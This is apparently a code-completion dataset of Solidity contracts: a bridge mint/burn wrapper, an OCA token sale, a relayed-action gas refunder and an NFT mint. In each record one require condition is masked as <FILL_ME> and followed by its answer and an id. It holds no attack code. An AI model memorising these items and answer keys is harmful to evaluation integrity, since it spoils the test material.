bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant BRIDGE_ROLE = keccak256("BRIDGE_ROLE");
bytes32 public constant ROUTER_ROLE = keccak256("ROUTER_ROLE");
// pausable control roles
bytes32 public constant PAUSE_MINT_ROLE = keccak256("PAUSE_MINT_ROLE");
bytes32 public constant PAUSE_BURN_ROLE = keccak256("PAUSE_BURN_ROLE");
bytes32 public constant PAUSE_BRIDGE_ROLE = keccak256("PAUSE_BRIDGE_ROLE");
bytes32 public constant PAUSE_ROUTER_ROLE = keccak256("PAUSE_ROUTER_ROLE");
bytes32 public constant PAUSE_DEPOSIT_ROLE = keccak256("PAUSE_DEPOSIT_ROLE");
bytes32 public constant PAUSE_WITHDRAW_ROLE = keccak256("PAUSE_WITHDRAW_ROLE");
struct Supply {
uint256 max; // single limit of each mint
uint256 cap; // total limit of all mint
uint256 total; // total minted minus burned
}
mapping(address => Supply) public minterSupply;
uint256 public totalMintCap; // total mint cap
uint256 public totalMinted; // total minted amount
enum TokenType {
MintBurnAny, // mint and burn(address from, uint256 amount), don't need approve
MintBurnFrom, // mint and burnFrom(address from, uint256 amount), need approve
MintBurnSelf, // mint and burn(uint256 amount), call transferFrom first, need approve
Transfer, // transfer and transferFrom, need approve
TransferDeposit // transfer and transferFrom, deposit and withdraw, need approve
}
address public immutable token; // the target token this contract is wrapping
TokenType public immutable tokenType;
address public burnReceiver;
mapping(address => uint256) public depositBalance;
mapping(bytes32 => bool) public swapinExisted;
constructor(address _token, uint256 _totalMintCap, address _admin) {
}
function owner() external view returns (address) {
}
function pause(bytes32 role) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function unpause(bytes32 role) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function _mint(address to, uint256 amount) internal whenNotPaused(PAUSE_MINT_ROLE) {
}
function _burn(address from, uint256 amount) internal whenNotPaused(PAUSE_BURN_ROLE) {
}
// impl IRouter `mint`
function mint(address to, uint256 amount)
external
onlyRole(MINTER_ROLE)
returns (bool)
{
}
// impl IRouter `burn`
function burn(address from, uint256 amount)
external
onlyRole(MINTER_ROLE)
onlyRole(ROUTER_ROLE)
whenNotPaused(PAUSE_ROUTER_ROLE)
returns (bool)
{
}
// impl IBridge `Swapin`
function Swapin(bytes32 txhash, address account, uint256 amount)
external
onlyRole(MINTER_ROLE)
onlyRole(BRIDGE_ROLE)
whenNotPaused(PAUSE_BRIDGE_ROLE)
returns (bool)
{
}
// impl IBridge `Swapout`
function Swapout(uint256 amount, address bindaddr)
external
whenNotPaused(PAUSE_BRIDGE_ROLE)
returns (bool)
{
}
function deposit(uint256 amount, address to)
external
whenNotPaused(PAUSE_DEPOSIT_ROLE)
returns (uint256)
{
}
function withdraw(uint256 amount, address to)
external
whenNotPaused(PAUSE_WITHDRAW_ROLE)
returns (uint256)
{
}
function addMinter(address minter, uint256 cap, uint256 max) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function removeMinter(address minter) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setTotalMintCap(uint256 cap) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setBurnReceiver(address _addr) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setMinterCap(address minter, uint256 cap) external onlyRole(DEFAULT_ADMIN_ROLE) {
require(<FILL_ME>)
minterSupply[minter].cap = cap;
}
function setMinterMax(address minter, uint256 max) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setMinterTotal(address minter, uint256 total, bool force) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
}
| hasRole(MINTER_ROLE,minter),"not minter" | 157,151 | hasRole(MINTER_ROLE,minter) |
"not minter" | pragma solidity ^0.8.10;
abstract contract PausableControl {
mapping(bytes32 => bool) private _pausedRoles;
bytes32 public constant PAUSE_ALL_ROLE = 0x00;
event Paused(bytes32 role);
event Unpaused(bytes32 role);
modifier whenNotPaused(bytes32 role) {
}
modifier whenPaused(bytes32 role) {
}
function paused(bytes32 role) public view virtual returns (bool) {
}
function _pause(bytes32 role) internal virtual whenNotPaused(role) {
}
function _unpause(bytes32 role) internal virtual whenPaused(role) {
}
}
library TokenOperation {
using Address for address;
function safeMint(
address token,
address to,
uint256 value
) internal {
}
function safeBurnAny(
address token,
address from,
uint256 value
) internal {
}
function safeBurnSelf(
address token,
uint256 value,
address burnReceiver
) internal {
}
function safeBurnFrom(
address token,
address from,
uint256 value
) internal {
}
function _callOptionalReturn(address token, bytes memory data) private {
}
}
interface IBridge {
function Swapin(bytes32 txhash, address account, uint256 amount) external returns (bool);
function Swapout(uint256 amount, address bindaddr) external returns (bool);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint256 amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint256 amount);
}
interface IRouter {
function mint(address to, uint256 amount) external returns (bool);
function burn(address from, uint256 amount) external returns (bool);
}
/// @dev MintBurnWrapper has the following aims:
/// 1. wrap token which does not support interface `IBridge` or `IRouter`
/// 2. wrap token which want to support multiple minters
/// 3. add security enhancement (mint cap, pausable, etc.)
contract MintBurnWrapper is IBridge, IRouter, AccessControlEnumerable, PausableControl {
using SafeERC20 for IERC20;
// access control roles
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant BRIDGE_ROLE = keccak256("BRIDGE_ROLE");
bytes32 public constant ROUTER_ROLE = keccak256("ROUTER_ROLE");
// pausable control roles
bytes32 public constant PAUSE_MINT_ROLE = keccak256("PAUSE_MINT_ROLE");
bytes32 public constant PAUSE_BURN_ROLE = keccak256("PAUSE_BURN_ROLE");
bytes32 public constant PAUSE_BRIDGE_ROLE = keccak256("PAUSE_BRIDGE_ROLE");
bytes32 public constant PAUSE_ROUTER_ROLE = keccak256("PAUSE_ROUTER_ROLE");
bytes32 public constant PAUSE_DEPOSIT_ROLE = keccak256("PAUSE_DEPOSIT_ROLE");
bytes32 public constant PAUSE_WITHDRAW_ROLE = keccak256("PAUSE_WITHDRAW_ROLE");
struct Supply {
uint256 max; // single limit of each mint
uint256 cap; // total limit of all mint
uint256 total; // total minted minus burned
}
mapping(address => Supply) public minterSupply;
uint256 public totalMintCap; // total mint cap
uint256 public totalMinted; // total minted amount
enum TokenType {
MintBurnAny, // mint and burn(address from, uint256 amount), don't need approve
MintBurnFrom, // mint and burnFrom(address from, uint256 amount), need approve
MintBurnSelf, // mint and burn(uint256 amount), call transferFrom first, need approve
Transfer, // transfer and transferFrom, need approve
TransferDeposit // transfer and transferFrom, deposit and withdraw, need approve
}
address public immutable token; // the target token this contract is wrapping
TokenType public immutable tokenType;
address public burnReceiver;
mapping(address => uint256) public depositBalance;
mapping(bytes32 => bool) public swapinExisted;
constructor(address _token, uint256 _totalMintCap, address _admin) {
}
function owner() external view returns (address) {
}
function pause(bytes32 role) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function unpause(bytes32 role) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function _mint(address to, uint256 amount) internal whenNotPaused(PAUSE_MINT_ROLE) {
}
function _burn(address from, uint256 amount) internal whenNotPaused(PAUSE_BURN_ROLE) {
}
// impl IRouter `mint`
function mint(address to, uint256 amount)
external
onlyRole(MINTER_ROLE)
returns (bool)
{
}
// impl IRouter `burn`
function burn(address from, uint256 amount)
external
onlyRole(MINTER_ROLE)
onlyRole(ROUTER_ROLE)
whenNotPaused(PAUSE_ROUTER_ROLE)
returns (bool)
{
}
// impl IBridge `Swapin`
function Swapin(bytes32 txhash, address account, uint256 amount)
external
onlyRole(MINTER_ROLE)
onlyRole(BRIDGE_ROLE)
whenNotPaused(PAUSE_BRIDGE_ROLE)
returns (bool)
{
}
// impl IBridge `Swapout`
function Swapout(uint256 amount, address bindaddr)
external
whenNotPaused(PAUSE_BRIDGE_ROLE)
returns (bool)
{
}
function deposit(uint256 amount, address to)
external
whenNotPaused(PAUSE_DEPOSIT_ROLE)
returns (uint256)
{
}
function withdraw(uint256 amount, address to)
external
whenNotPaused(PAUSE_WITHDRAW_ROLE)
returns (uint256)
{
}
function addMinter(address minter, uint256 cap, uint256 max) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function removeMinter(address minter) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setTotalMintCap(uint256 cap) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setBurnReceiver(address _addr) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setMinterCap(address minter, uint256 cap) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setMinterMax(address minter, uint256 max) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setMinterTotal(address minter, uint256 total, bool force) external onlyRole(DEFAULT_ADMIN_ROLE) {
require(<FILL_ME>)
minterSupply[minter].total = total;
}
}
| force||hasRole(MINTER_ROLE,minter),"not minter" | 157,151 | force||hasRole(MINTER_ROLE,minter) |
"INSUFFICIENT_OCA REDUCE_AMOUNT_YOU_ARE_TRYING_TO_BUY" | pragma solidity ^0.8.16;
// Developed by Orcania (https://orcania.io/)
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function decimals() external view returns (uint256);
function transfer(address recipient, uint256 amount) external;
function transferFrom(address sender, address recipient, uint256 amount) external returns(bool);
}
abstract contract OMS { //Orcania Management Standard
address private _owner;
event OwnershipTransfer(address indexed newOwner);
receive() external payable {}
constructor() {
}
//Modifiers ==========================================================================================================================================
modifier Owner() {
}
//Read functions =====================================================================================================================================
function owner() public view returns (address) {
}
//Write functions ====================================================================================================================================
function setNewOwner(address user) external Owner {
}
}
contract OcaMint is OMS {
IERC20 private immutable OCA = IERC20(0x3f8C3b9F543910F611585E3821B00af0617580A7);
uint256 private immutable ETHprice = 1300;
IERC20 private immutable USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
IERC20 private immutable BUSD = IERC20(0x4Fabb145d64652a948d72533023f6E7A623C7C53);
IERC20 private immutable USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
uint256 private _ethPrice = 84000000000000;
uint256 private _privateEthPrice = 63000000000000;
mapping (address => uint256) private _tokenPrice;
mapping (address => uint256) private _privateTokenPrice;
mapping(address/*user*/ => uint256 /*amount*/) private _ethPayed; //Amount of ETH this user payed to buy OCA
mapping(address/*token*/ => mapping(address/*user*/ => uint256/*amount*/)) private _tokenPayed; //Amount of token the user payed to buy OCA
mapping(address /*user*/ => uint256) private _privateBoughtOCA;
mapping(address /*user*/ => uint256) private _vestingRoundsClaimed;
//Dead line of the sale
//If the project doesn't raise the needed funds by that time, users can revert their sale and get back their funds
//The sale also ends on this date regardless if needed funds were raised or not
uint256 private immutable _deadLine = block.timestamp + 10520000 /*4 months*/;
uint256 private immutable _minimumFundsNeeded = 250000; //Minimum amount of USD needed
uint256 private immutable _vestingStartTime = block.timestamp + 10520000; //Epoch sec at which vesting starts
uint256 private immutable _vestingRoundTime = 2630000 /*1 month*/; //Time between vesting rounds
bool private _goalReached = false;
uint256 private _totalOcaReserved; //OCA reserved for private investors
event BuyOCA(address indexed token, uint256 amountPayed, uint256 ocaAmountBought);
event PrivateBuyOCA(address indexed token, uint256 amountPayed, uint256 ocaAmountBought);
constructor() {
}
//Checks if sale is still open & if `amount` of OCA is available to be sold
modifier isSaleValid(uint256 amount) {
require(block.timestamp < _deadLine, "SALE_PERIOD_IS_OVER");
require(<FILL_ME>)
_;
}
//Read functions=========================================================================================================================
function price() external view returns (uint256) { }
function privatePrice() external view returns(uint256) { }
function tokenPrice(address token) external view returns (uint256) { }
function privateTokenPrice(address token) external view returns(uint256) { }
function getEthPayed(address user) external view returns(uint256) { }
function getTokenPayed(address token, address user) external view returns(uint256) { }
function getPrivateBoughtOCA(address user) external view returns(uint256) { }
function getVestingRoundsClaimed(address user) external view returns(uint256) { }
function getDeadline() external view returns(uint256) { }
function getMinimumFundsNeeded() external view returns(uint256) { }
function getVestingStartTime() external view returns(uint256) { }
function goalReached() external view returns(bool) { }
function totalOcaBought() external view returns(uint256) { }
//Owner Write Functions========================================================================================================================
function changeEthPrice(uint256 price, uint256 privatePrice) external Owner {
}
function changeTokenPrice(address token, uint256 price, uint256 privatePrice) external Owner {
}
//User write functions=========================================================================================================================
function buyWithEth(uint256 amount) external payable isSaleValid(amount) {
}
function buyWithToken(address token, uint256 amount) external isSaleValid(amount) {
}
function privateBuyWithEth(uint256 amount) external payable isSaleValid(amount) {
}
function privateBuyWithToken(address token, uint256 amount) external isSaleValid(amount) {
}
function checkGoal() external {
}
//Refund Functions==========================================================================================================================
function revertPurchaseWithEth(address[] calldata users) external {
}
function revertPurchaseWithToken(address token, address[] calldata users) external {
}
//Withdraw Functions========================================================================================================================
function withdraw(address payable to, uint256 value) external Owner {
}
function withdrawERC20(address token, address to, uint256 value) external Owner {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
//Vesting Functions=========================================================================================================================
//Claim OCA from vesting
function claim(address[] calldata users) external {
}
}
| OCA.balanceOf(address(this))-(amount*10**18)>=_totalOcaReserved,"INSUFFICIENT_OCA REDUCE_AMOUNT_YOU_ARE_TRYING_TO_BUY" | 157,236 | OCA.balanceOf(address(this))-(amount*10**18)>=_totalOcaReserved |
"FAILED_TO_RECEIVE_PAYMENT" | pragma solidity ^0.8.16;
// Developed by Orcania (https://orcania.io/)
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function decimals() external view returns (uint256);
function transfer(address recipient, uint256 amount) external;
function transferFrom(address sender, address recipient, uint256 amount) external returns(bool);
}
abstract contract OMS { //Orcania Management Standard
address private _owner;
event OwnershipTransfer(address indexed newOwner);
receive() external payable {}
constructor() {
}
//Modifiers ==========================================================================================================================================
modifier Owner() {
}
//Read functions =====================================================================================================================================
function owner() public view returns (address) {
}
//Write functions ====================================================================================================================================
function setNewOwner(address user) external Owner {
}
}
contract OcaMint is OMS {
IERC20 private immutable OCA = IERC20(0x3f8C3b9F543910F611585E3821B00af0617580A7);
uint256 private immutable ETHprice = 1300;
IERC20 private immutable USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
IERC20 private immutable BUSD = IERC20(0x4Fabb145d64652a948d72533023f6E7A623C7C53);
IERC20 private immutable USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
uint256 private _ethPrice = 84000000000000;
uint256 private _privateEthPrice = 63000000000000;
mapping (address => uint256) private _tokenPrice;
mapping (address => uint256) private _privateTokenPrice;
mapping(address/*user*/ => uint256 /*amount*/) private _ethPayed; //Amount of ETH this user payed to buy OCA
mapping(address/*token*/ => mapping(address/*user*/ => uint256/*amount*/)) private _tokenPayed; //Amount of token the user payed to buy OCA
mapping(address /*user*/ => uint256) private _privateBoughtOCA;
mapping(address /*user*/ => uint256) private _vestingRoundsClaimed;
//Dead line of the sale
//If the project doesn't raise the needed funds by that time, users can revert their sale and get back their funds
//The sale also ends on this date regardless if needed funds were raised or not
uint256 private immutable _deadLine = block.timestamp + 10520000 /*4 months*/;
uint256 private immutable _minimumFundsNeeded = 250000; //Minimum amount of USD needed
uint256 private immutable _vestingStartTime = block.timestamp + 10520000; //Epoch sec at which vesting starts
uint256 private immutable _vestingRoundTime = 2630000 /*1 month*/; //Time between vesting rounds
bool private _goalReached = false;
uint256 private _totalOcaReserved; //OCA reserved for private investors
event BuyOCA(address indexed token, uint256 amountPayed, uint256 ocaAmountBought);
event PrivateBuyOCA(address indexed token, uint256 amountPayed, uint256 ocaAmountBought);
constructor() {
}
//Checks if sale is still open & if `amount` of OCA is available to be sold
modifier isSaleValid(uint256 amount) {
}
//Read functions=========================================================================================================================
function price() external view returns (uint256) { }
function privatePrice() external view returns(uint256) { }
function tokenPrice(address token) external view returns (uint256) { }
function privateTokenPrice(address token) external view returns(uint256) { }
function getEthPayed(address user) external view returns(uint256) { }
function getTokenPayed(address token, address user) external view returns(uint256) { }
function getPrivateBoughtOCA(address user) external view returns(uint256) { }
function getVestingRoundsClaimed(address user) external view returns(uint256) { }
function getDeadline() external view returns(uint256) { }
function getMinimumFundsNeeded() external view returns(uint256) { }
function getVestingStartTime() external view returns(uint256) { }
function goalReached() external view returns(bool) { }
function totalOcaBought() external view returns(uint256) { }
//Owner Write Functions========================================================================================================================
function changeEthPrice(uint256 price, uint256 privatePrice) external Owner {
}
function changeTokenPrice(address token, uint256 price, uint256 privatePrice) external Owner {
}
//User write functions=========================================================================================================================
function buyWithEth(uint256 amount) external payable isSaleValid(amount) {
}
function buyWithToken(address token, uint256 amount) external isSaleValid(amount) {
uint256 price = _tokenPrice[token];
require(price != 0, "UNSUPPORTED_TOKEN");
uint256 total = price * amount;
require(<FILL_ME>)
amount *= 10**18;
OCA.transfer(msg.sender, amount);
_tokenPayed[token][msg.sender] += total;
emit BuyOCA(token, total, amount);
}
function privateBuyWithEth(uint256 amount) external payable isSaleValid(amount) {
}
function privateBuyWithToken(address token, uint256 amount) external isSaleValid(amount) {
}
function checkGoal() external {
}
//Refund Functions==========================================================================================================================
function revertPurchaseWithEth(address[] calldata users) external {
}
function revertPurchaseWithToken(address token, address[] calldata users) external {
}
//Withdraw Functions========================================================================================================================
function withdraw(address payable to, uint256 value) external Owner {
}
function withdrawERC20(address token, address to, uint256 value) external Owner {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
//Vesting Functions=========================================================================================================================
//Claim OCA from vesting
function claim(address[] calldata users) external {
}
}
| IERC20(token).transferFrom(msg.sender,address(this),total),"FAILED_TO_RECEIVE_PAYMENT" | 157,236 | IERC20(token).transferFrom(msg.sender,address(this),total) |
"GOAL_REACHED" | pragma solidity ^0.8.16;
// Developed by Orcania (https://orcania.io/)
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function decimals() external view returns (uint256);
function transfer(address recipient, uint256 amount) external;
function transferFrom(address sender, address recipient, uint256 amount) external returns(bool);
}
abstract contract OMS { //Orcania Management Standard
address private _owner;
event OwnershipTransfer(address indexed newOwner);
receive() external payable {}
constructor() {
}
//Modifiers ==========================================================================================================================================
modifier Owner() {
}
//Read functions =====================================================================================================================================
function owner() public view returns (address) {
}
//Write functions ====================================================================================================================================
function setNewOwner(address user) external Owner {
}
}
contract OcaMint is OMS {
IERC20 private immutable OCA = IERC20(0x3f8C3b9F543910F611585E3821B00af0617580A7);
uint256 private immutable ETHprice = 1300;
IERC20 private immutable USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
IERC20 private immutable BUSD = IERC20(0x4Fabb145d64652a948d72533023f6E7A623C7C53);
IERC20 private immutable USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
uint256 private _ethPrice = 84000000000000;
uint256 private _privateEthPrice = 63000000000000;
mapping (address => uint256) private _tokenPrice;
mapping (address => uint256) private _privateTokenPrice;
mapping(address/*user*/ => uint256 /*amount*/) private _ethPayed; //Amount of ETH this user payed to buy OCA
mapping(address/*token*/ => mapping(address/*user*/ => uint256/*amount*/)) private _tokenPayed; //Amount of token the user payed to buy OCA
mapping(address /*user*/ => uint256) private _privateBoughtOCA;
mapping(address /*user*/ => uint256) private _vestingRoundsClaimed;
//Dead line of the sale
//If the project doesn't raise the needed funds by that time, users can revert their sale and get back their funds
//The sale also ends on this date regardless if needed funds were raised or not
uint256 private immutable _deadLine = block.timestamp + 10520000 /*4 months*/;
uint256 private immutable _minimumFundsNeeded = 250000; //Minimum amount of USD needed
uint256 private immutable _vestingStartTime = block.timestamp + 10520000; //Epoch sec at which vesting starts
uint256 private immutable _vestingRoundTime = 2630000 /*1 month*/; //Time between vesting rounds
bool private _goalReached = false;
uint256 private _totalOcaReserved; //OCA reserved for private investors
event BuyOCA(address indexed token, uint256 amountPayed, uint256 ocaAmountBought);
event PrivateBuyOCA(address indexed token, uint256 amountPayed, uint256 ocaAmountBought);
constructor() {
}
//Checks if sale is still open & if `amount` of OCA is available to be sold
modifier isSaleValid(uint256 amount) {
}
//Read functions=========================================================================================================================
function price() external view returns (uint256) { }
function privatePrice() external view returns(uint256) { }
function tokenPrice(address token) external view returns (uint256) { }
function privateTokenPrice(address token) external view returns(uint256) { }
function getEthPayed(address user) external view returns(uint256) { }
function getTokenPayed(address token, address user) external view returns(uint256) { }
function getPrivateBoughtOCA(address user) external view returns(uint256) { }
function getVestingRoundsClaimed(address user) external view returns(uint256) { }
function getDeadline() external view returns(uint256) { }
function getMinimumFundsNeeded() external view returns(uint256) { }
function getVestingStartTime() external view returns(uint256) { }
function goalReached() external view returns(bool) { }
function totalOcaBought() external view returns(uint256) { }
//Owner Write Functions========================================================================================================================
function changeEthPrice(uint256 price, uint256 privatePrice) external Owner {
}
function changeTokenPrice(address token, uint256 price, uint256 privatePrice) external Owner {
}
//User write functions=========================================================================================================================
function buyWithEth(uint256 amount) external payable isSaleValid(amount) {
}
function buyWithToken(address token, uint256 amount) external isSaleValid(amount) {
}
function privateBuyWithEth(uint256 amount) external payable isSaleValid(amount) {
}
function privateBuyWithToken(address token, uint256 amount) external isSaleValid(amount) {
}
function checkGoal() external {
}
//Refund Functions==========================================================================================================================
function revertPurchaseWithEth(address[] calldata users) external {
require(block.timestamp > _deadLine, "SALE_IS_NOT_OVER_YET");
require(<FILL_ME>)
uint256 length = users.length;
for(uint256 t; t < length; ++t) {
address user = users[t];
sendValue(payable(user), _ethPayed[user]);
_ethPayed[user] = 0;
}
}
function revertPurchaseWithToken(address token, address[] calldata users) external {
}
//Withdraw Functions========================================================================================================================
function withdraw(address payable to, uint256 value) external Owner {
}
function withdrawERC20(address token, address to, uint256 value) external Owner {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
//Vesting Functions=========================================================================================================================
//Claim OCA from vesting
function claim(address[] calldata users) external {
}
}
| !_goalReached,"GOAL_REACHED" | 157,236 | !_goalReached |
'SENDER_NOT_RELAYER' | // SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@mimic-fi/v2-helpers/contracts/math/FixedPoint.sol';
import '@mimic-fi/v2-helpers/contracts/utils/Denominations.sol';
import './BaseAction.sol';
/**
* @title RelayedAction
* @dev Action that offers a relayed mechanism to allow reimbursing tx costs after execution in any ERC20 token.
* This type of action at least require having withdraw permissions from the Smart Vault tied to it.
*/
abstract contract RelayedAction is BaseAction {
using FixedPoint for uint256;
// Base gas amount charged to cover default amounts
// solhint-disable-next-line func-name-mixedcase
function BASE_GAS() external view virtual returns (uint256);
// Note to be used to mark tx cost payments
bytes private constant REDEEM_GAS_NOTE = bytes('RELAYER');
// Internal variable used to allow a better developer experience to reimburse tx gas cost
uint256 internal _initialGas;
// Allows relaying transactions even if there is not enough balance in the Smart Vault to pay for the tx gas cost
bool public isPermissiveModeActive;
// Gas price limit, if surpassed it wont relay the transaction
uint256 public gasPriceLimit;
// Total cost limit expressed in `payingGasToken`, if surpassed it wont relay the transaction
uint256 public totalCostLimit;
// Address of the ERC20 token that will be used to pay the total tx cost
address public payingGasToken;
// List of allowed relayers indexed by address
mapping (address => bool) public isRelayer;
/**
* @dev Emitted every time the permissive mode is changed
*/
event PermissiveModeSet(bool active);
/**
* @dev Emitted every time the relayers list is changed
*/
event RelayerSet(address indexed relayer, bool allowed);
/**
* @dev Emitted every time the relayer limits are set
*/
event LimitsSet(uint256 gasPriceLimit, uint256 totalCostLimit, address payingGasToken);
/**
* @dev Modifier that can be used to reimburse the gas cost of the tagged function
*/
modifier redeemGas() {
}
/**
* @dev Sets the relayed action permissive mode. If active, it won't fail when trying to redeem gas costs to the
* relayer if the smart vault does not have enough balance. Sender must be authorized.
* @param active Whether the permissive mode should be active or not
*/
function setPermissiveMode(bool active) external auth {
}
/**
* @dev Sets a relayer address. Sender must be authorized.
* @param relayer Address of the relayer to be set
* @param allowed Whether it should be allowed or not
*/
function setRelayer(address relayer, bool allowed) external auth {
}
/**
* @dev Sets the relayer limits. Sender must be authorized.
* @param _gasPriceLimit New gas price limit to be set
* @param _totalCostLimit New total cost limit to be set
* @param _payingGasToken New paying gas token to be set
*/
function setLimits(uint256 _gasPriceLimit, uint256 _totalCostLimit, address _payingGasToken) external auth {
}
/**
* @dev Internal before call hook where limit validations are checked
*/
function _beforeCall() internal {
_initialGas = gasleft();
require(<FILL_ME>)
uint256 limit = gasPriceLimit;
require(limit == 0 || tx.gasprice <= limit, 'GAS_PRICE_ABOVE_LIMIT');
}
/**
* @dev Internal after call hook where tx cost is reimburse
*/
function _afterCall() internal {
}
/**
* @dev Internal function to fetch the paying gas token rate from the Smart Vault's price oracle
*/
function _getPayingGasTokenPrice(address token) private view returns (uint256) {
}
/**
* @dev Internal function to tell if the relayed action should try to redeem the gas cost from the Smart Vault
* @param token Address of the token to pay the relayed gas cost
* @param amount Amount of tokens to pay for the relayed gas cost
*/
function _shouldTryRedeemFromSmartVault(address token, uint256 amount) private view returns (bool) {
}
}
| isRelayer[msg.sender],'SENDER_NOT_RELAYER' | 157,346 | isRelayer[msg.sender] |
"Total WL Supply has been minted" | // βββββββ βββββββββββ ββββββββββββββ βββ
// βββββββββββββββββββ βββββββββββββββ ββββ
// βββ βββββββββ βββ ββ βββββββββ βββββββ
// βββ βββββββββ ββββββββββββββββ βββββ
// ββββββββββββββββββββββββββββββββββ βββ
// βββββββ ββββββββ ββββββββ ββββββββ βββ
// βββββββ βββββββββββββββ
// ββββββββββββββββββββββββ
// βββ βββββββββ βββ βββ
// βββ βββββββββ βββ βββ
// ββββββββββββββββββββββββ
// βββββββ βββββββββββββββ
pragma solidity ^0.8.4;
pragma abicoder v2;
contract DEWEYDED is ERC721A, Ownable, DefaultOperatorFilterer {
using SafeMath for uint256;
using Strings for uint256;
bytes32 public merkleRoot;
bytes32 public vipMerkleRoot;
uint256 public MAX_SUPPLY= 10000;
uint256 public MAX_WL_SUPPLY = 10000;
uint256 public MAX_VIPWL_SUPPLY = 10000;
uint256 public WL_PRICE = 0.09 ether;
uint256 public VIPWL_PRICE = 0.09 ether;
uint256 public PRICE = 0.09 ether;
uint256 public giveawayLimit = 10000;
string public baseTokenURI;
bool public whitelistSaleIsActive;
bool public saleIsActive;
address private wallet1 = 0x753238366ed0A9F70401121e20C6aB7892B7A91D; // Wallet 1 - Project
address public Authorized = 0x774588c151329E5b094D870d303EEd4A0097686B; // Dev Wallet for Testing (no percentage)
uint256 public maxPurchase = 3;
uint256 public maxWLPurchase = 3;
uint256 public maxVIPPurchase = 3;
uint256 public maxTxWL = 3;
uint256 public maxTxVIP = 3;
uint256 public maxTx = 3;
constructor() ERC721A("DEWEYDED", "DEWEYDED") {}
modifier callerIsUser() {
}
modifier onlyAuthorized {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function flipSaleState() external onlyOwner {
}
function flipWhitelistSaleState() external onlyOwner {
}
function updateMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function updateVIPMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function whitelistMint(uint256 numberOfTokens, bytes32[] calldata merkleProof ) payable external callerIsUser {
require(whitelistSaleIsActive, "Whitelist Sale must be active to mint");
require(<FILL_ME>)
require(numberOfTokens > 0 && numberOfTokens <= maxTxWL, "Can only mint upto 1 NFTs in a transaction");
require(msg.value == WL_PRICE.mul(numberOfTokens), "Ether value sent is not correct");
require(numberMinted(msg.sender).add(numberOfTokens) <= maxWLPurchase,"Exceeds Max mints allowed per whitelisted wallet");
// Verify the merkle proof
require(MerkleProof.verify(merkleProof, merkleRoot, keccak256(abi.encodePacked(msg.sender)) ), "Invalid proof");
_safeMint(msg.sender, numberOfTokens);
}
function vipMint(uint256 numberOfTokens, bytes32[] calldata merkleProof ) payable external callerIsUser {
}
function mint(uint256 numberOfTokens) external payable callerIsUser {
}
function withdraw() public onlyOwner {
}
function withdrawAll() external onlyOwner {
}
function giveAway(uint256 numberOfTokens, address to) external onlyOwner {
}
function numberMinted(address owner) public view returns (uint256) {
}
function setMaxSupply(uint256 _mxSupply) public onlyAuthorized {
}
function setWLMaxSupply(uint256 _mxWLSupply) public onlyAuthorized {
}
function setVIPMaxSupply(uint256 _mxVIPSupply) public onlyAuthorized {
}
function setPriceWL(uint256 _wlPrice) public onlyAuthorized {
}
function setPriceVIPWL(uint256 _vipwlPrice) public onlyAuthorized {
}
function setPrice(uint256 _price) public onlyAuthorized {
}
function setMaxTxLimit(uint256 _txLimit) public onlyAuthorized {
}
function setMaxTxWL(uint256 _txLimit) public onlyAuthorized {
}
function setMaxTxVIP(uint256 _txLimit) public onlyAuthorized {
}
function setMaxPurchaseLimit(uint256 _limit) public onlyAuthorized {
}
function setMaxWLPurchaseLimit(uint256 _limit) public onlyAuthorized {
}
function setMaxVIPPurchaseLimit(uint256 _limit) public onlyAuthorized {
}
/*
--Opensea Filterer--
*/
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override
onlyAllowedOperator(from)
{
}
}
